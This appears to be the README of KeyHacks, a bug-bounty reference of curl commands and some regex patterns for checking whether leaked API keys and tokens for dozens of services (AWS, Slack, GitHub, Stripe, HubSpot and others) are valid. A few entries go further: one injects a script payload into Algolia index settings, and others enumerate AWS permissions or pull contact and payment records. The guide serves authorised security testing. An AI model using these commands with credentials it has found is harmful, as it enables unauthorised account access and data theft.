KeyHacks shows ways in which particular API keys found on a Bug Bounty Program can be used, to check if they are valid.
@Gwen001 has scripted the entire process available here and it can be found here
- Algolia API key
- Asana Access token
- AWS Access Key ID and Secret
- Bit.ly Access token
- Branch.io Key and Secret
- BrowserStack Access Key
- Buildkite Access token
- CircleCI Access Token
- DataDog API key
- Deviant Art Access Token
- Deviant Art Secret
- Dropbox API
- Facebook Access Token
- Facebook AppSecret
- Firebase
- FreshDesk API Key
- Github client id and client secret
- GitHub private SSH key
- Github Token
- Gitlab personal access token
- Google Cloud Messaging (GCM)
- Google Maps API key
- Google Recaptcha key
- Google Cloud Service Account credentials
- Heroku API key
- HubSpot API key
- Instagram Basic Display API
- Instagram Graph API
- Ipstack API Key
- JumpCloud API key
- Loqate API Key
- MailChimp API Key
- MailGun Private Key
- Mapbox API key
- Microsoft Azure Tenant
- Microsoft Shared Access Signatures (SAS)
- NPM token
- Pagerduty API token
- Paypal client id and secret key
- Pendo Integration Key
- Razorpay API key and secret key
- Salesforce API key
- SauceLabs Username and access Key
- SendGrid API Token
- Slack API token
- Slack Webhook
- Spotify Access Token
- Square
- Stripe Live Token
- Travis CI API token
- Twilio Account_sid and Auth token
- Twitter API Secret
- Twitter Bearer token
- WakaTime API Key
- WPEngine API Key
- Zapier Webhook Token
- Zendesk Access token
If the below command returns missing_text_or_fallback_or_attachments
, it means that the URL is valid, any other responses would mean that the URL is invalid.
curl -s -X POST -H "Content-type: application/json" -d '{"text":""}' "https://hooks.slack.com/services/T00000000/B00000000/XXXXXXXXXXXXXXXXXXXXXXXX"
curl -sX POST "https://slack.com/api/auth.test?token=xoxp-TOKEN_HERE&pretty=1"
curl -u USERNAME:ACCESS_KEY https://saucelabs.com/rest/v1/users/USERNAME
You can generate access tokens by visiting the URL below.
https://graph.facebook.com/oauth/access_token?client_id=ID_HERE&client_secret=SECRET_HERE&redirect_uri=&grant_type=client_credentials
https://developers.facebook.com/tools/debug/accesstoken/?access_token=ACCESS_TOKEN_HERE&version=v3.2
Requires a custom token, and an API key.
- Obtain ID token and refresh token from custom token and API key:
curl -s -XPOST -H 'content-type: application/json' -d '{"token":":custom_token","returnSecureToken":True}' 'https://identitytoolkit.googleapis.com/v1/accounts:signInWithCustomToken?key=:api_key'
- Exchange ID token for auth token:
curl -s -XPOST -H 'content-type: application/json' -d '{"idToken":":id_token"}' https://www.googleapis.com/identitytoolkit/v3/relyingparty/verifyCustomToken?key=:api_key'
curl -s -u "user:apikey" https://api.github.com/user
curl -s -H "Authorization: token TOKEN_HERE" "https://api.github.com/users/USERNAME_HERE/orgs"
# Check scope of your api token
curl "https://api.github.com/rate_limit" -i -u "user:apikey" | grep "X-OAuth-Scopes:"
curl 'https://api.github.com/users/whatever?client_id=xxxx&client_secret=yyyy'
curl -s -X POST --header "Authorization: key=AI..." --header "Content-Type:application/json" 'https://fcm.googleapis.com/fcm/send' -d '{"registration_ids":["1"]}'
SSH private keys can be tested against github.com to see if they are registered against an existing user account. If the key exists the username corresponding to the key will be provided. (source)
$ ssh -i <path to SSH private key> -T [email protected]
Hi <username>! You've successfully authenticated, but GitHub does not provide shell access.
curl -X GET 'https://api.twilio.com/2010-04-01/Accounts.json' -u ACCOUNT_SID:AUTH_TOKEN
curl -u 'API key:API secret key' --data 'grant_type=client_credentials' 'https://api.twitter.com/oauth2/token'
curl --request GET --url https://api.twitter.com/1.1/account_activity/all/subscriptions/count.json --header 'authorization: Bearer TOKEN'
Get all owners:
https://api.hubapi.com/owners/v2/owners?hapikey={keyhere}
Get all contact details:
https://api.hubapi.com/contacts/v1/lists/all/contacts/all?hapikey={keyhere}
curl https://www.deviantart.com/oauth2/token -d grant_type=client_credentials -d client_id=ID_HERE -d client_secret=mysecret
curl https://www.deviantart.com/api/v1/oauth2/placebo -d access_token=Alph4num3r1ct0k3nv4lu3
curl -X GET https://app.pendo.io/api/v1/feature -H 'content-type: application/json' -H 'x-pendo-integration-key:KEY_HERE'
curl -X GET https://app.pendo.io/api/v1/metadata/schema/account -H 'content-type: application/json' -H 'x-pendo-integration-key:KEY_HERE'
curl -X "GET" "https://api.sendgrid.com/v3/scopes" -H "Authorization: Bearer SENDGRID_TOKEN-HERE" -H "Content-Type: application/json"
Detection:
App id/client secret: sq0[a-z]{3}-[0-9A-Za-z\-_]{22,43}
Auth token: EAAA[a-zA-Z0-9]{60}
Test App id & client secret:
curl "https://squareup.com/oauth2/revoke" -d '{"access_token":"[RANDOM_STRING]","client_id":"[APP_ID]"}' -H "Content-Type: application/json" -H "Authorization: Client [CLIENT_SECRET]"
Response indicating valid credentials:
empty
Response indicating invalid credentials:
{
"message": "Not Authorized",
"type": "service.not_authorized"
}
Test Auth token:
curl https://connect.squareup.com/v2/locations -H "Authorization: Bearer [AUHT_TOKEN]"
Response indicating valid credentials:
{"locations":[{"id":"CBASELqoYPXr7RtT-9BRMlxGpfcgAQ","name":"Coffee \u0026 Toffee SF","address":{"address_line_1":"1455 Market Street","locality":"San Francisco","administrative_district_level_1":"CA","postal_code":"94103","country":"US"},"timezone":"America/Los_Angeles"........
Response indicating invalid credentials:
{"errors":[{"category":"AUTHENTICATION_ERROR","code":"UNAUTHORIZED","detail":"This request could not be authorized."}]}
curl -X POST https://api.dropboxapi.com/2/users/get_current_account --header "Authorization: Bearer TOKEN_HERE"
Install awscli, set the access key and secret to environment variables, and execute the following command:
AWS_ACCESS_KEY_ID=xxxx AWS_SECRET_ACCESS_KEY=yyyy aws sts get-caller-identity
AWS credentials' permissions can be determined using Enumerate-IAM. This gives broader view of the discovered AWS credentials privileges instead of just checking S3 buckets.
git clone https://github.com/andresriancho/enumerate-iam
cd enumerate-iam
./enumerate-iam.py --access-key AKIA... --secret-key StF0q...
curl --user 'api:key-PRIVATEKEYHERE' "https://api.mailgun.net/v3/domains"
curl -v -u [email protected]:test -X GET 'https://domain.freshdesk.com/api/v2/groups/1'
This requires the API key in '[email protected]', pass in 'test' and 'domain.freshdesk.com' to be the instance url of the target. In case you get a 403, try the endpoint api/v2/tickets, which is accessible for all keys.
List systems:
curl -H "x-api-key: APIKEYHERE" "https://console.jumpcloud.com/api/systems"
Format:
CLIENT_ID: [0-9a-z\-]{36}
CLIENT_SECRET: [0-9A-Za-z\+\=]{40,50}
TENANT_ID: [0-9a-z\-]{36}
Verification:
curl -X POST -H "Content-Type: application/x-www-form-urlencoded" -d 'client_id=<CLIENT_ID>&scope=https%3A%2F%2Fgraph.microsoft.com%2F.default&client_secret=<CLIENT_SECRET>&grant_type=client_credentials' 'https://login.microsoftonline.com/<TENANT_ID>/oauth2/v2.0/token'
The following powershell can be used to test a Shared Access Signature Token:
static void UseAccountSAS(string sasToken)
{
// Create new storage credentials using the SAS token.
StorageCredentials accountSAS = new StorageCredentials(sasToken);
// Use these credentials and the account name to create a Blob service client.
CloudStorageAccount accountWithSAS = new CloudStorageAccount(accountSAS, "account-name", endpointSuffix: null, useHttps: true);
CloudBlobClient blobClientWithSAS = accountWithSAS.CreateCloudBlobClient();
// Now set the service properties for the Blob client created with the SAS.
blobClientWithSAS.SetServiceProperties(new ServiceProperties()
{
HourMetrics = new MetricsProperties()
{
MetricsLevel = MetricsLevel.ServiceAndApi,
RetentionDays = 7,
Version = "1.0"
},
MinuteMetrics = new MetricsProperties()
{
MetricsLevel = MetricsLevel.ServiceAndApi,
RetentionDays = 7,
Version = "1.0"
},
Logging = new LoggingProperties()
{
LoggingOperations = LoggingOperations.All,
RetentionDays = 14,
Version = "1.0"
}
});
// The permissions granted by the account SAS also permit you to retrieve service properties.
ServiceProperties serviceProperties = blobClientWithSAS.GetServiceProperties();
Console.WriteLine(serviceProperties.HourMetrics.MetricsLevel);
Console.WriteLine(serviceProperties.HourMetrics.RetentionDays);
Console.WriteLine(serviceProperties.HourMetrics.Version);
}
curl -X POST https://api.heroku.com/apps -H "Accept: application/vnd.heroku+json; version=3" -H "Authorization: Bearer API_KEY_HERE"
Mapbox secret keys start with sk
, rest start with pk
(public token), sk
(secret token), or tk
(temporary token).
curl "https://api.mapbox.com/geocoding/v5/mapbox.places/Los%20Angeles.json?access_token=ACCESS_TOKEN"
curl https://instance_name.salesforce.com/services/data/v20.0/ -H 'Authorization: Bearer access_token_here'
Be cautious when running this command, since the payload might execute within an administrative environment, depending on what index you are editing the highlightPreTag
of. It's recommended to use a more silent payload (such as XSS Hunter) to prove the possible cross-site scripting attack.
curl --request PUT \
--url https://<application-id>-1.algolianet.com/1/indexes/<example-index>/settings \
--header 'content-type: application/json' \
--header 'x-algolia-api-key: <example-key>' \
--header 'x-algolia-application-id: <example-application-id>' \
--data '{"highlightPreTag": "<script>alert(1);</script>"}'
curl -H "Accept: application/json" -H "Content-Type: application/json" -X POST -d '{"name":"streaak"}' "webhook_url_here"
curl -H "Accept: application/vnd.pagerduty+json;version=2" -H "Authorization: Token token=TOKEN_HERE" -X GET "https://api.pagerduty.com/schedules"
curl -u "USERNAME:ACCESS_KEY" https://api.browserstack.com/automate/plan.json
Key restrictions are set per service. When testing the key, if the key is restricted/inactive on one service try it with another.
*Pricing is in USD per 1000 requests (for the first 100k requests)
More Information available here-
https://github.com/ozguralp/gmapsapiscanner/
https://developers.google.com/maps/api-key-best-practices
Send a POST to the following URL:
https://www.google.com/recaptcha/api/siteverify
secret
and response
are two required POST parameters, where secret
is the key and response
is the response to test for.
Regular expression: ^6[0-9a-zA-Z_-]{39}$
. The API key always starts with a 6 and is 40 chars long. Read more here: https://developers.google.com/recaptcha/docs/verify.
Service Account credentials may be found in a JSON file like this:
$ cat service_account.json
{
"type": "service_account",
"project_id": "...",
"private_key_id": "...",
"private_key": "-----BEGIN PRIVATE KEY-----...-----END PRIVATE KEY-----\n",
"client_email": "...",
"client_id": "...",
"auth_uri": "https://accounts.google.com/o/oauth2/auth",
"token_uri": "https://oauth2.googleapis.com/token",
"auth_provider_x509_cert_url": "https://www.googleapis.com/oauth2/v1/certs",
"client_x509_cert_url": "https://www.googleapis.com/robot/v1/metadata/x509/..."
}
If this is your case you may check these credentials using gcloud
tool (how to install gcloud
):
$ gcloud auth activate-service-account --key-file=service_account.json
Activated service account credentials for: [...]
$ gcloud auth print-access-token
ya29.c...
In case of success you'll see access token printed in terminal. Please note that after verifying that credentials are actually valid you may want to enumerate permissions of these credentials which is another story.
Visit the following URL to check for validity:
https://api2.branch.io/v1/app/KEY_HERE?branch_secret=SECRET_HERE
Visit the following URL to check for validity:
https://api-ssl.bitly.com/v3/shorten?access_token=ACCESS_TOKEN&longUrl=https://www.google.com
curl -H "Authorization: Bearer ACCESS_TOKEN" \
https://api.buildkite.com/v2/user
curl -H "Authorization: Bearer ACCESS_TOKEN" https://app.asana.com/api/1.0/users/me
curl https://{subdomain}.zendesk.com/api/v2/tickets.json \
-H "Authorization: Bearer ACCESS_TOKEN"
curl --request GET --url 'https://<dc>.api.mailchimp.com/3.0/' --user 'anystring:<API_KEY>' --include
This issue can be further exploited by checking out @hateshape's gist https://gist.github.com/hateshape/2e671ea71d7c243fac7ebf51fb738f0a.
curl "https://api.wpengine.com/1.2/?method=site&account_name=ACCOUNT_NAME&wpe_apikey=WPENGINE_APIKEY"
curl "https://api.datadoghq.com/api/v1/dashboard?api_key=<api_key>&application_key=<application_key>"
curl -H "Travis-API-Version: 3" -H "Authorization: token <TOKEN>" https://api.travis-ci.com/user
curl "https://wakatime.com/api/v1/users/current/projects/?api_key=KEY_HERE"
curl -H "Authorization: Bearer <ACCESS_TOKEN>" https://api.spotify.com/v1/me
E.g.: IGQVJ...
curl -X GET 'https://graph.instagram.com/{user-id}?fields=id,username&access_token={access-token}'
E.g.: EAAJjmJ...
curl -i -X GET 'https://graph.facebook.com/v8.0/me/accounts?access_token={access-token}'
curl "https://gitlab.example.com/api/v4/projects?private_token=<your_access_token>"
curl -v https://api.sandbox.paypal.com/v1/oauth2/token \
-H "Accept: application/json" \
-H "Accept-Language: en_US" \
-u "client_id:secret" \
-d "grant_type=client_credentials"
The access token can be further used to extract data from the PayPal API. More information: https://developer.paypal.com/docs/api/overview/#make-rest-api-calls.
This can be verified using:
curl -v -X GET "https://api.sandbox.paypal.com/v1/identity/oauth2/userinfo?schema=paypalv1.1" -H "Content-Type: application/json" -H "Authorization: Bearer [ACCESS_TOKEN]"
curl https://api.stripe.com/v1/charges -u token_here:
Keep the colon at the end of the token to prevent cURL
from requesting a password.
The token is always in the following format: sk_live_24charshere
, where the 24charshere
part contains 24 characters from a-z A-Z 0-9
. There is also a test key, which starts with sk_test
, but this key is worthless since it is only used for testing purposes and most likely doesn't contain any sensitive information. The live key, on the other hand, can be used to extract/retrieve a lot of info β ranging from charges to the complete product list.
Keep in mind that you will never be able to get the full credit card information since Stripe only gives you the last 4 digits.
More info/complete documentation: https://stripe.com/docs/api/authentication.
This can be verified using:
curl -u <YOUR_KEY_ID>:<YOUR_KEY_SECRET> \
https://api.razorpay.com/v1/payments
curl https://circleci.com/api/v1.1/me?circle-token=<TOKEN>
curl 'http://api.addressy.com/Capture/Interactive/Find/v1.00/json3.ws?Key=<KEY_HERE>&Countries=US,CA&Language=en&Limit=5&Text=BHAR'
curl 'https://api.ipstack.com/{ip_address}?access_key={keyhere}'
You can verify NPM token using npm
(replacing 00000000-0000-0000-0000-000000000000
with NPM token):
export NPM_TOKEN="00000000-0000-0000-0000-000000000000"
echo "//registry.npmjs.org/:_authToken=${NPM_TOKEN}" > .npmrc
npm whoami
Another way to verify token is to query API directly:
curl -H 'authorization: Bearer 00000000-0000-0000-0000-000000000000' 'https://registry.npmjs.org/-/whoami'
You'll get username in response in case of success, 401 Unauthorized
in case if token doesn't exists and 403 Forbidden
in case if your IP address is not whitelisted.
NPM token can be CIDR-whitelisted. Thus if you are using token from non-whitelisted CIDR you'll get 403 Forbidden
in response. So try to verify NPM token from different IP ranges!.
P.S. Some companies uses registries other than registry.npmjs.org
. If it's the case replace all registry.npmjs.org
occurrences with domain name of company's NPM registry.
I welcome contributions from the public.
The issue tracker is the preferred channel for bug reports and features requests.
The bug tracker utilizes several labels to help organize and identify issues.
Use the GitHub issue search β check if the issue has already been reported.
This project is made for educational and ethical testing purposes only. Usage of this tool for attacking targets without prior mutual consent is illegal. Developers assume no liability and are not responsible for any misuse or damage caused by this tool.